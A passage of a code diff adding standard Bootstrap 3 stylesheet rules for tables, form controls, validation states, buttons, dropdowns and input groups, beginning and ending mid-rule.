> tr > th:first-child, + .table-responsive > .table-bordered > thead > tr > td:first-child, + .table-responsive > .table-bordered > tbody > tr > td:first-child, + .table-responsive > .table-bordered > tfoot > tr > td:first-child { + border-left: 0; + } + .table-responsive > .table-bordered > thead > tr > th:last-child, + .table-responsive > .table-bordered > tbody > tr > th:last-child, + .table-responsive > .table-bordered > tfoot > tr > th:last-child, + .table-responsive > .table-bordered > thead > tr > td:last-child, + .table-responsive > .table-bordered > tbody > tr > td:last-child, + .table-responsive > .table-bordered > tfoot > tr > td:last-child { + border-right: 0; + } + .table-responsive > .table-bordered > tbody > tr:last-child > th, + .table-responsive > .table-bordered > tfoot > tr:last-child > th, + .table-responsive > .table-bordered > tbody > tr:last-child > td, + .table-responsive > .table-bordered > tfoot > tr:last-child > td { + border-bottom: 0; + } +} +fieldset { + min-width: 0; + padding: 0; + margin: 0; + border: 0; +} +legend { + display: block; + width: 100%; + padding: 0; + margin-bottom: 20px; + font-size: 21px; + line-height: inherit; + color: #333; + border: 0; + border-bottom: 1px solid #e5e5e5; +} +label { + display: inline-block; + max-width: 100%; + margin-bottom: 5px; + font-weight: bold; +} +input[type="search"] { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +input[type="radio"], +input[type="checkbox"] { + margin: 4px 0 0; + margin-top: 1px \9; + line-height: normal; +} +input[type="file"] { + display: block; +} +input[type="range"] { + display: block; + width: 100%; +} +select[multiple], +select[size] { + height: auto; +} +input[type="file"]:focus, +input[type="radio"]:focus, +input[type="checkbox"]:focus { + outline: thin dotted; + outline: 5px auto -webkit-focus-ring-color; + outline-offset: -2px; +} +output { + display: block; + padding-top: 7px; + font-size: 14px; + line-height: 1.42857143; + color: #555; +} +.form-control { + display: block; + width: 100%; + height: 34px; + padding: 6px 12px; + font-size: 14px; + line-height: 1.42857143; + color: #555; + background-color: #fff; + background-image: none; + border: 1px solid #ccc; + border-radius: 4px; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + -webkit-transition: border-color ease-in-out .15s, -webkit-box-shadow ease-in-out .15s; + -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; + transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; +} +.form-control:focus { + border-color: #66afe9; + outline: 0; + -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6); + box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6); +} +.form-control::-moz-placeholder { + color: #999; + opacity: 1; +} +.form-control:-ms-input-placeholder { + color: #999; +} +.form-control::-webkit-input-placeholder { + color: #999; +} +.form-control[disabled], +.form-control[readonly], +fieldset[disabled] .form-control { + cursor: not-allowed; + background-color: #eee; + opacity: 1; +} +textarea.form-control { + height: auto; +} +input[type="search"] { + -webkit-appearance: none; +} +@media screen and (-webkit-min-device-pixel-ratio: 0) { + input[type="date"], + input[type="time"], + input[type="datetime-local"], + input[type="month"] { + line-height: 34px; + } + input[type="date"].input-sm, + input[type="time"].input-sm, + input[type="datetime-local"].input-sm, + input[type="month"].input-sm, + .input-group-sm input[type="date"], + .input-group-sm input[type="time"], + .input-group-sm input[type="datetime-local"], + .input-group-sm input[type="month"] { + line-height: 30px; + } + input[type="date"].input-lg, + input[type="time"].input-lg, + input[type="datetime-local"].input-lg, + input[type="month"].input-lg, + .input-group-lg input[type="date"], + .input-group-lg input[type="time"], + .input-group-lg input[type="datetime-local"], + .input-group-lg input[type="month"] { + line-height: 46px; + } +} +.form-group { + margin-bottom: 15px; +} +.radio, +.checkbox { + position: relative; + display: block; + margin-top: 10px; + margin-bottom: 10px; +} +.radio label, +.checkbox label { + min-height: 20px; + padding-left: 20px; + margin-bottom: 0; + font-weight: normal; + cursor: pointer; +} +.radio input[type="radio"], +.radio-inline input[type="radio"], +.checkbox input[type="checkbox"], +.checkbox-inline input[type="checkbox"] { + position: absolute; + margin-top: 4px \9; + margin-left: -20px; +} +.radio + .radio, +.checkbox + .checkbox { + margin-top: -5px; +} +.radio-inline, +.checkbox-inline { + display: inline-block; + padding-left: 20px; + margin-bottom: 0; + font-weight: normal; + vertical-align: middle; + cursor: pointer; +} +.radio-inline + .radio-inline, +.checkbox-inline + .checkbox-inline { + margin-top: 0; + margin-left: 10px; +} +input[type="radio"][disabled], +input[type="checkbox"][disabled], +input[type="radio"].disabled, +input[type="checkbox"].disabled, +fieldset[disabled] input[type="radio"], +fieldset[disabled] input[type="checkbox"] { + cursor: not-allowed; +} +.radio-inline.disabled, +.checkbox-inline.disabled, +fieldset[disabled] .radio-inline, +fieldset[disabled] .checkbox-inline { + cursor: not-allowed; +} +.radio.disabled label, +.checkbox.disabled label, +fieldset[disabled] .radio label, +fieldset[disabled] .checkbox label { + cursor: not-allowed; +} +.form-control-static { + padding-top: 7px; + padding-bottom: 7px; + margin-bottom: 0; +} +.form-control-static.input-lg, +.form-control-static.input-sm { + padding-right: 0; + padding-left: 0; +} +.input-sm { + height: 30px; + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +select.input-sm { + height: 30px; + line-height: 30px; +} +textarea.input-sm, +select[multiple].input-sm { + height: auto; +} +.form-group-sm .form-control { + height: 30px; + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +select.form-group-sm .form-control { + height: 30px; + line-height: 30px; +} +textarea.form-group-sm .form-control, +select[multiple].form-group-sm .form-control { + height: auto; +} +.form-group-sm .form-control-static { + height: 30px; + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; +} +.input-lg { + height: 46px; + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; + border-radius: 6px; +} +select.input-lg { + height: 46px; + line-height: 46px; +} +textarea.input-lg, +select[multiple].input-lg { + height: auto; +} +.form-group-lg .form-control { + height: 46px; + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; + border-radius: 6px; +} +select.form-group-lg .form-control { + height: 46px; + line-height: 46px; +} +textarea.form-group-lg .form-control, +select[multiple].form-group-lg .form-control { + height: auto; +} +.form-group-lg .form-control-static { + height: 46px; + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; +} +.has-feedback { + position: relative; +} +.has-feedback .form-control { + padding-right: 42.5px; +} +.form-control-feedback { + position: absolute; + top: 0; + right: 0; + z-index: 2; + display: block; + width: 34px; + height: 34px; + line-height: 34px; + text-align: center; + pointer-events: none; +} +.input-lg + .form-control-feedback { + width: 46px; + height: 46px; + line-height: 46px; +} +.input-sm + .form-control-feedback { + width: 30px; + height: 30px; + line-height: 30px; +} +.has-success .help-block, +.has-success .control-label, +.has-success .radio, +.has-success .checkbox, +.has-success .radio-inline, +.has-success .checkbox-inline, +.has-success.radio label, +.has-success.checkbox label, +.has-success.radio-inline label, +.has-success.checkbox-inline label { + color: #3c763d; +} +.has-success .form-control { + border-color: #3c763d; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); +} +.has-success .form-control:focus { + border-color: #2b542c; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168; +} +.has-success .input-group-addon { + color: #3c763d; + background-color: #dff0d8; + border-color: #3c763d; +} +.has-success .form-control-feedback { + color: #3c763d; +} +.has-warning .help-block, +.has-warning .control-label, +.has-warning .radio, +.has-warning .checkbox, +.has-warning .radio-inline, +.has-warning .checkbox-inline, +.has-warning.radio label, +.has-warning.checkbox label, +.has-warning.radio-inline label, +.has-warning.checkbox-inline label { + color: #8a6d3b; +} +.has-warning .form-control { + border-color: #8a6d3b; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); +} +.has-warning .form-control:focus { + border-color: #66512c; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b; +} +.has-warning .input-group-addon { + color: #8a6d3b; + background-color: #fcf8e3; + border-color: #8a6d3b; +} +.has-warning .form-control-feedback { + color: #8a6d3b; +} +.has-error .help-block, +.has-error .control-label, +.has-error .radio, +.has-error .checkbox, +.has-error .radio-inline, +.has-error .checkbox-inline, +.has-error.radio label, +.has-error.checkbox label, +.has-error.radio-inline label, +.has-error.checkbox-inline label { + color: #a94442; +} +.has-error .form-control { + border-color: #a94442; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); +} +.has-error .form-control:focus { + border-color: #843534; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483; +} +.has-error .input-group-addon { + color: #a94442; + background-color: #f2dede; + border-color: #a94442; +} +.has-error .form-control-feedback { + color: #a94442; +} +.has-feedback label ~ .form-control-feedback { + top: 25px; +} +.has-feedback label.sr-only ~ .form-control-feedback { + top: 0; +} +.help-block { + display: block; + margin-top: 5px; + margin-bottom: 10px; + color: #737373; +} +@media (min-width: 768px) { + .form-inline .form-group { + display: inline-block; + margin-bottom: 0; + vertical-align: middle; + } + .form-inline .form-control { + display: inline-block; + width: auto; + vertical-align: middle; + } + .form-inline .form-control-static { + display: inline-block; + } + .form-inline .input-group { + display: inline-table; + vertical-align: middle; + } + .form-inline .input-group .input-group-addon, + .form-inline .input-group .input-group-btn, + .form-inline .input-group .form-control { + width: auto; + } + .form-inline .input-group > .form-control { + width: 100%; + } + .form-inline .control-label { + margin-bottom: 0; + vertical-align: middle; + } + .form-inline .radio, + .form-inline .checkbox { + display: inline-block; + margin-top: 0; + margin-bottom: 0; + vertical-align: middle; + } + .form-inline .radio label, + .form-inline .checkbox label { + padding-left: 0; + } + .form-inline .radio input[type="radio"], + .form-inline .checkbox input[type="checkbox"] { + position: relative; + margin-left: 0; + } + .form-inline .has-feedback .form-control-feedback { + top: 0; + } +} +.form-horizontal .radio, +.form-horizontal .checkbox, +.form-horizontal .radio-inline, +.form-horizontal .checkbox-inline { + padding-top: 7px; + margin-top: 0; + margin-bottom: 0; +} +.form-horizontal .radio, +.form-horizontal .checkbox { + min-height: 27px; +} +.form-horizontal .form-group { + margin-right: -15px; + margin-left: -15px; +} +@media (min-width: 768px) { + .form-horizontal .control-label { + padding-top: 7px; + margin-bottom: 0; + text-align: right; + } +} +.form-horizontal .has-feedback .form-control-feedback { + right: 15px; +} +@media (min-width: 768px) { + .form-horizontal .form-group-lg .control-label { + padding-top: 14.333333px; + } +} +@media (min-width: 768px) { + .form-horizontal .form-group-sm .control-label { + padding-top: 6px; + } +} +.btn { + display: inline-block; + padding: 6px 12px; + margin-bottom: 0; + font-size: 14px; + font-weight: normal; + line-height: 1.42857143; + text-align: center; + white-space: nowrap; + vertical-align: middle; + -ms-touch-action: manipulation; + touch-action: manipulation; + cursor: pointer; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + background-image: none; + border: 1px solid transparent; + border-radius: 4px; +} +.btn:focus, +.btn:active:focus, +.btn.active:focus, +.btn.focus, +.btn:active.focus, +.btn.active.focus { + outline: thin dotted; + outline: 5px auto -webkit-focus-ring-color; + outline-offset: -2px; +} +.btn:hover, +.btn:focus, +.btn.focus { + color: #333; + text-decoration: none; +} +.btn:active, +.btn.active { + background-image: none; + outline: 0; + -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); + box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); +} +.btn.disabled, +.btn[disabled], +fieldset[disabled] .btn { + pointer-events: none; + cursor: not-allowed; + filter: alpha(opacity=65); + -webkit-box-shadow: none; + box-shadow: none; + opacity: .65; +} +.btn-default { + color: #333; + background-color: #fff; + border-color: #ccc; +} +.btn-default:hover, +.btn-default:focus, +.btn-default.focus, +.btn-default:active, +.btn-default.active, +.open > .dropdown-toggle.btn-default { + color: #333; + background-color: #e6e6e6; + border-color: #adadad; +} +.btn-default:active, +.btn-default.active, +.open > .dropdown-toggle.btn-default { + background-image: none; +} +.btn-default.disabled, +.btn-default[disabled], +fieldset[disabled] .btn-default, +.btn-default.disabled:hover, +.btn-default[disabled]:hover, +fieldset[disabled] .btn-default:hover, +.btn-default.disabled:focus, +.btn-default[disabled]:focus, +fieldset[disabled] .btn-default:focus, +.btn-default.disabled.focus, +.btn-default[disabled].focus, +fieldset[disabled] .btn-default.focus, +.btn-default.disabled:active, +.btn-default[disabled]:active, +fieldset[disabled] .btn-default:active, +.btn-default.disabled.active, +.btn-default[disabled].active, +fieldset[disabled] .btn-default.active { + background-color: #fff; + border-color: #ccc; +} +.btn-default .badge { + color: #fff; + background-color: #333; +} +.btn-primary { + color: #fff; + background-color: #337ab7; + border-color: #2e6da4; +} +.btn-primary:hover, +.btn-primary:focus, +.btn-primary.focus, +.btn-primary:active, +.btn-primary.active, +.open > .dropdown-toggle.btn-primary { + color: #fff; + background-color: #286090; + border-color: #204d74; +} +.btn-primary:active, +.btn-primary.active, +.open > .dropdown-toggle.btn-primary { + background-image: none; +} +.btn-primary.disabled, +.btn-primary[disabled], +fieldset[disabled] .btn-primary, +.btn-primary.disabled:hover, +.btn-primary[disabled]:hover, +fieldset[disabled] .btn-primary:hover, +.btn-primary.disabled:focus, +.btn-primary[disabled]:focus, +fieldset[disabled] .btn-primary:focus, +.btn-primary.disabled.focus, +.btn-primary[disabled].focus, +fieldset[disabled] .btn-primary.focus, +.btn-primary.disabled:active, +.btn-primary[disabled]:active, +fieldset[disabled] .btn-primary:active, +.btn-primary.disabled.active, +.btn-primary[disabled].active, +fieldset[disabled] .btn-primary.active { + background-color: #337ab7; + border-color: #2e6da4; +} +.btn-primary .badge { + color: #337ab7; + background-color: #fff; +} +.btn-success { + color: #fff; + background-color: #5cb85c; + border-color: #4cae4c; +} +.btn-success:hover, +.btn-success:focus, +.btn-success.focus, +.btn-success:active, +.btn-success.active, +.open > .dropdown-toggle.btn-success { + color: #fff; + background-color: #449d44; + border-color: #398439; +} +.btn-success:active, +.btn-success.active, +.open > .dropdown-toggle.btn-success { + background-image: none; +} +.btn-success.disabled, +.btn-success[disabled], +fieldset[disabled] .btn-success, +.btn-success.disabled:hover, +.btn-success[disabled]:hover, +fieldset[disabled] .btn-success:hover, +.btn-success.disabled:focus, +.btn-success[disabled]:focus, +fieldset[disabled] .btn-success:focus, +.btn-success.disabled.focus, +.btn-success[disabled].focus, +fieldset[disabled] .btn-success.focus, +.btn-success.disabled:active, +.btn-success[disabled]:active, +fieldset[disabled] .btn-success:active, +.btn-success.disabled.active, +.btn-success[disabled].active, +fieldset[disabled] .btn-success.active { + background-color: #5cb85c; + border-color: #4cae4c; +} +.btn-success .badge { + color: #5cb85c; + background-color: #fff; +} +.btn-info { + color: #fff; + background-color: #5bc0de; + border-color: #46b8da; +} +.btn-info:hover, +.btn-info:focus, +.btn-info.focus, +.btn-info:active, +.btn-info.active, +.open > .dropdown-toggle.btn-info { + color: #fff; + background-color: #31b0d5; + border-color: #269abc; +} +.btn-info:active, +.btn-info.active, +.open > .dropdown-toggle.btn-info { + background-image: none; +} +.btn-info.disabled, +.btn-info[disabled], +fieldset[disabled] .btn-info, +.btn-info.disabled:hover, +.btn-info[disabled]:hover, +fieldset[disabled] .btn-info:hover, +.btn-info.disabled:focus, +.btn-info[disabled]:focus, +fieldset[disabled] .btn-info:focus, +.btn-info.disabled.focus, +.btn-info[disabled].focus, +fieldset[disabled] .btn-info.focus, +.btn-info.disabled:active, +.btn-info[disabled]:active, +fieldset[disabled] .btn-info:active, +.btn-info.disabled.active, +.btn-info[disabled].active, +fieldset[disabled] .btn-info.active { + background-color: #5bc0de; + border-color: #46b8da; +} +.btn-info .badge { + color: #5bc0de; + background-color: #fff; +} +.btn-warning { + color: #fff; + background-color: #f0ad4e; + border-color: #eea236; +} +.btn-warning:hover, +.btn-warning:focus, +.btn-warning.focus, +.btn-warning:active, +.btn-warning.active, +.open > .dropdown-toggle.btn-warning { + color: #fff; + background-color: #ec971f; + border-color: #d58512; +} +.btn-warning:active, +.btn-warning.active, +.open > .dropdown-toggle.btn-warning { + background-image: none; +} +.btn-warning.disabled, +.btn-warning[disabled], +fieldset[disabled] .btn-warning, +.btn-warning.disabled:hover, +.btn-warning[disabled]:hover, +fieldset[disabled] .btn-warning:hover, +.btn-warning.disabled:focus, +.btn-warning[disabled]:focus, +fieldset[disabled] .btn-warning:focus, +.btn-warning.disabled.focus, +.btn-warning[disabled].focus, +fieldset[disabled] .btn-warning.focus, +.btn-warning.disabled:active, +.btn-warning[disabled]:active, +fieldset[disabled] .btn-warning:active, +.btn-warning.disabled.active, +.btn-warning[disabled].active, +fieldset[disabled] .btn-warning.active { + background-color: #f0ad4e; + border-color: #eea236; +} +.btn-warning .badge { + color: #f0ad4e; + background-color: #fff; +} +.btn-danger { + color: #fff; + background-color: #d9534f; + border-color: #d43f3a; +} +.btn-danger:hover, +.btn-danger:focus, +.btn-danger.focus, +.btn-danger:active, +.btn-danger.active, +.open > .dropdown-toggle.btn-danger { + color: #fff; + background-color: #c9302c; + border-color: #ac2925; +} +.btn-danger:active, +.btn-danger.active, +.open > .dropdown-toggle.btn-danger { + background-image: none; +} +.btn-danger.disabled, +.btn-danger[disabled], +fieldset[disabled] .btn-danger, +.btn-danger.disabled:hover, +.btn-danger[disabled]:hover, +fieldset[disabled] .btn-danger:hover, +.btn-danger.disabled:focus, +.btn-danger[disabled]:focus, +fieldset[disabled] .btn-danger:focus, +.btn-danger.disabled.focus, +.btn-danger[disabled].focus, +fieldset[disabled] .btn-danger.focus, +.btn-danger.disabled:active, +.btn-danger[disabled]:active, +fieldset[disabled] .btn-danger:active, +.btn-danger.disabled.active, +.btn-danger[disabled].active, +fieldset[disabled] .btn-danger.active { + background-color: #d9534f; + border-color: #d43f3a; +} +.btn-danger .badge { + color: #d9534f; + background-color: #fff; +} +.btn-link { + font-weight: normal; + color: #337ab7; + border-radius: 0; +} +.btn-link, +.btn-link:active, +.btn-link.active, +.btn-link[disabled], +fieldset[disabled] .btn-link { + background-color: transparent; + -webkit-box-shadow: none; + box-shadow: none; +} +.btn-link, +.btn-link:hover, +.btn-link:focus, +.btn-link:active { + border-color: transparent; +} +.btn-link:hover, +.btn-link:focus { + color: #23527c; + text-decoration: underline; + background-color: transparent; +} +.btn-link[disabled]:hover, +fieldset[disabled] .btn-link:hover, +.btn-link[disabled]:focus, +fieldset[disabled] .btn-link:focus { + color: #777; + text-decoration: none; +} +.btn-lg, +.btn-group-lg > .btn { + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; + border-radius: 6px; +} +.btn-sm, +.btn-group-sm > .btn { + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +.btn-xs, +.btn-group-xs > .btn { + padding: 1px 5px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +.btn-block { + display: block; + width: 100%; +} +.btn-block + .btn-block { + margin-top: 5px; +} +input[type="submit"].btn-block, +input[type="reset"].btn-block, +input[type="button"].btn-block { + width: 100%; +} +.fade { + opacity: 0; + -webkit-transition: opacity .15s linear; + -o-transition: opacity .15s linear; + transition: opacity .15s linear; +} +.fade.in { + opacity: 1; +} +.collapse { + display: none; + visibility: hidden; +} +.collapse.in { + display: block; + visibility: visible; +} +tr.collapse.in { + display: table-row; +} +tbody.collapse.in { + display: table-row-group; +} +.collapsing { + position: relative; + height: 0; + overflow: hidden; + -webkit-transition-timing-function: ease; + -o-transition-timing-function: ease; + transition-timing-function: ease; + -webkit-transition-duration: .35s; + -o-transition-duration: .35s; + transition-duration: .35s; + -webkit-transition-property: height, visibility; + -o-transition-property: height, visibility; + transition-property: height, visibility; +} +.caret { + display: inline-block; + width: 0; + height: 0; + margin-left: 2px; + vertical-align: middle; + border-top: 4px solid; + border-right: 4px solid transparent; + border-left: 4px solid transparent; +} +.dropup, +.dropdown { + position: relative; +} +.dropdown-toggle:focus { + outline: 0; +} +.dropdown-menu { + position: absolute; + top: 100%; + left: 0; + z-index: 1000; + display: none; + float: left; + min-width: 160px; + padding: 5px 0; + margin: 2px 0 0; + font-size: 14px; + text-align: left; + list-style: none; + background-color: #fff; + -webkit-background-clip: padding-box; + background-clip: padding-box; + border: 1px solid #ccc; + border: 1px solid rgba(0, 0, 0, .15); + border-radius: 4px; + -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, .175); + box-shadow: 0 6px 12px rgba(0, 0, 0, .175); +} +.dropdown-menu.pull-right { + right: 0; + left: auto; +} +.dropdown-menu .divider { + height: 1px; + margin: 9px 0; + overflow: hidden; + background-color: #e5e5e5; +} +.dropdown-menu > li > a { + display: block; + padding: 3px 20px; + clear: both; + font-weight: normal; + line-height: 1.42857143; + color: #333; + white-space: nowrap; +} +.dropdown-menu > li > a:hover, +.dropdown-menu > li > a:focus { + color: #262626; + text-decoration: none; + background-color: #f5f5f5; +} +.dropdown-menu > .active > a, +.dropdown-menu > .active > a:hover, +.dropdown-menu > .active > a:focus { + color: #fff; + text-decoration: none; + background-color: #337ab7; + outline: 0; +} +.dropdown-menu > .disabled > a, +.dropdown-menu > .disabled > a:hover, +.dropdown-menu > .disabled > a:focus { + color: #777; +} +.dropdown-menu > .disabled > a:hover, +.dropdown-menu > .disabled > a:focus { + text-decoration: none; + cursor: not-allowed; + background-color: transparent; + background-image: none; + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); +} +.open > .dropdown-menu { + display: block; +} +.open > a { + outline: 0; +} +.dropdown-menu-right { + right: 0; + left: auto; +} +.dropdown-menu-left { + right: auto; + left: 0; +} +.dropdown-header { + display: block; + padding: 3px 20px; + font-size: 12px; + line-height: 1.42857143; + color: #777; + white-space: nowrap; +} +.dropdown-backdrop { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 990; +} +.pull-right > .dropdown-menu { + right: 0; + left: auto; +} +.dropup .caret, +.navbar-fixed-bottom .dropdown .caret { + content: ""; + border-top: 0; + border-bottom: 4px solid; +} +.dropup .dropdown-menu, +.navbar-fixed-bottom .dropdown .dropdown-menu { + top: auto; + bottom: 100%; + margin-bottom: 2px; +} +@media (min-width: 768px) { + .navbar-right .dropdown-menu { + right: auto; + left: -10px; + } + .navbar-right .dropdown-menu-left { + right: auto; + left: 0; + } +} +.btn-group, +.btn-group-vertical { + position: relative; + display: inline-block; + vertical-align: middle; +} +.btn-group > .btn, +.btn-group-vertical > .btn { + position: relative; + float: left; +} +.btn-group > .btn:hover, +.btn-group-vertical > .btn:hover, +.btn-group > .btn:focus, +.btn-group-vertical > .btn:focus, +.btn-group > .btn:active, +.btn-group-vertical > .btn:active, +.btn-group > .btn.active, +.btn-group-vertical > .btn.active { + z-index: 2; +} +.btn-group .btn + .btn, +.btn-group .btn + .btn-group, +.btn-group .btn-group + .btn, +.btn-group .btn-group + .btn-group { + margin-left: -1px; +} +.btn-toolbar { + margin-left: -5px; +} +.btn-toolbar .btn-group, +.btn-toolbar .input-group { + float: left; +} +.btn-toolbar > .btn, +.btn-toolbar > .btn-group, +.btn-toolbar > .input-group { + margin-left: 5px; +} +.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) { + border-radius: 0; +} +.btn-group > .btn:first-child { + margin-left: 0; +} +.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} +.btn-group > .btn:last-child:not(:first-child), +.btn-group > .dropdown-toggle:not(:first-child) { + border-top-left-radius: 0; + border-bottom-left-radius: 0; +} +.btn-group > .btn-group { + float: left; +} +.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn { + border-radius: 0; +} +.btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child, +.btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} +.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child { + border-top-left-radius: 0; + border-bottom-left-radius: 0; +} +.btn-group .dropdown-toggle:active, +.btn-group.open .dropdown-toggle { + outline: 0; +} +.btn-group > .btn + .dropdown-toggle { + padding-right: 8px; + padding-left: 8px; +} +.btn-group > .btn-lg + .dropdown-toggle { + padding-right: 12px; + padding-left: 12px; +} +.btn-group.open .dropdown-toggle { + -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); + box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); +} +.btn-group.open .dropdown-toggle.btn-link { + -webkit-box-shadow: none; + box-shadow: none; +} +.btn .caret { + margin-left: 0; +} +.btn-lg .caret { + border-width: 5px 5px 0; + border-bottom-width: 0; +} +.dropup .btn-lg .caret { + border-width: 0 5px 5px; +} +.btn-group-vertical > .btn, +.btn-group-vertical > .btn-group, +.btn-group-vertical > .btn-group > .btn { + display: block; + float: none; + width: 100%; + max-width: 100%; +} +.btn-group-vertical > .btn-group > .btn { + float: none; +} +.btn-group-vertical > .btn + .btn, +.btn-group-vertical > .btn + .btn-group, +.btn-group-vertical > .btn-group + .btn, +.btn-group-vertical > .btn-group + .btn-group { + margin-top: -1px; + margin-left: 0; +} +.btn-group-vertical > .btn:not(:first-child):not(:last-child) { + border-radius: 0; +} +.btn-group-vertical > .btn:first-child:not(:last-child) { + border-top-right-radius: 4px; + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} +.btn-group-vertical > .btn:last-child:not(:first-child) { + border-top-left-radius: 0; + border-top-right-radius: 0; + border-bottom-left-radius: 4px; +} +.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn { + border-radius: 0; +} +.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child, +.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle { + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} +.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child { + border-top-left-radius: 0; + border-top-right-radius: 0; +} +.btn-group-justified { + display: table; + width: 100%; + table-layout: fixed; + border-collapse: separate; +} +.btn-group-justified > .btn, +.btn-group-justified > .btn-group { + display: table-cell; + float: none; + width: 1%; +} +.btn-group-justified > .btn-group .btn { + width: 100%; +} +.btn-group-justified > .btn-group .dropdown-menu { + left: auto; +} +[data-toggle="buttons"] > .btn input[type="radio"], +[data-toggle="buttons"] > .btn-group > .btn input[type="radio"], +[data-toggle="buttons"] > .btn input[type="checkbox"], +[data-toggle="buttons"] > .btn-group > .btn input[type="checkbox"] { + position: absolute; + clip: rect(0, 0, 0, 0); + pointer-events: none; +} +.input-group { + position: relative; + display: table; + border-collapse: separate; +} +.input-group[class*="col-"] { + float: none; + padding-right: 0; + padding-left: 0; +} +.input-group .form-control { + position: relative; + z-index: 2; + float: left; + width: 100%; + margin-bottom: 0; +} +.input-group-lg > .form-control, +.input-group-lg > .input-group-addon, +.input-group-lg > .input-group-btn > .btn { + height: 46px; + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; + border-radius: 6px; +} +select.input-group-lg > .form-control, +select.input-group-lg > .input-group-addon, +select.input-group-lg > .input-group-btn > .btn { + height: 46px; + line-height: 46px; +} +textarea.input-group-lg > .form-control, +textarea.input-group-lg > .input-group-addon, +textarea.input-group-lg > .input-group-btn > .btn, +select[multiple].input-group-lg > .form-control, +select[multiple].input-group-lg > .input-group-addon, +select[multiple].input-group-lg > .input-group-btn > .btn { + height: auto; +} +.input-group-sm > .form-control, +.input-group-sm > .input-group-addon, +.input-group-sm > .input-group-btn > .btn { + height: 30px; + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +select.input-group-sm > .form-control, +select.input-group-sm > .input-group-addon, +select.input-group-sm > .input-group-btn > .btn { + height: 30px; + line-height: 30px; +} +textarea.input-group-sm > .form-control, +textarea.input-group-sm > .input-group-addon, +textarea.input-group-sm > .input-group-btn > .btn, +select[multiple].input-group-sm > .form-control, +select[multiple].input-group-sm > .input-group-addon, +select[multiple].input-group-sm > .input-group-btn > .btn { + height: auto; +} +.input-group-addon, +.input-group-btn, +.input-group .form-control { + display: table-cell; +} +.input-group-addon:not(:first-child):not(:last-child), +.input-group-btn:not(:first-child):not(:last-child), +.input-group .form-control:not(:first-child):not(:last-child) { + border-radius: 0; +} +.input-group-addon, +.input-group-btn { + width: 1%; + white-space: nowrap; + vertical-align: middle; +} +.input-group-addon { + padding: 6px 12px; + font-size: 14px; + font-weight: normal; + line-height: 1; + color: #555; + text-align: center; + background-color: #eee; + border: 1px solid #ccc; + border-radius: 4px; +} +.input-group-addon.input-sm { + padding: 5px 10px; + font-size: 12px; + border-radius: 3px; +} +.input-group-addon.input-lg { + padding: 10px 16px; + font-size: 18px; + border-radius: 6px; +} +.input-group-addon input[type="radio"], +.input-group-addon input[type="checkbox"] { + margin-top: 0; +} +.input-group .form-control:first-child, +.input-group-addon:first-child, +.input-group-btn:first-child > .btn, +.input-group-btn:first-child > .btn-group > .btn, +.input-group-btn:first-child > .dropdown-toggle, +.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle), +.input-group-btn:last-child > .btn-group:not(:last-child) > .btn { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} +.input-group-addon:first-child { + border-right: 0; +} +.input-group .form-control:last-child, +.input-group-addon:last-child, +.input-group-btn:last-child > .btn, +.input-group-btn:last-child > .btn-group > .btn, +.input-group-btn:last-child > .dropdown-toggle, 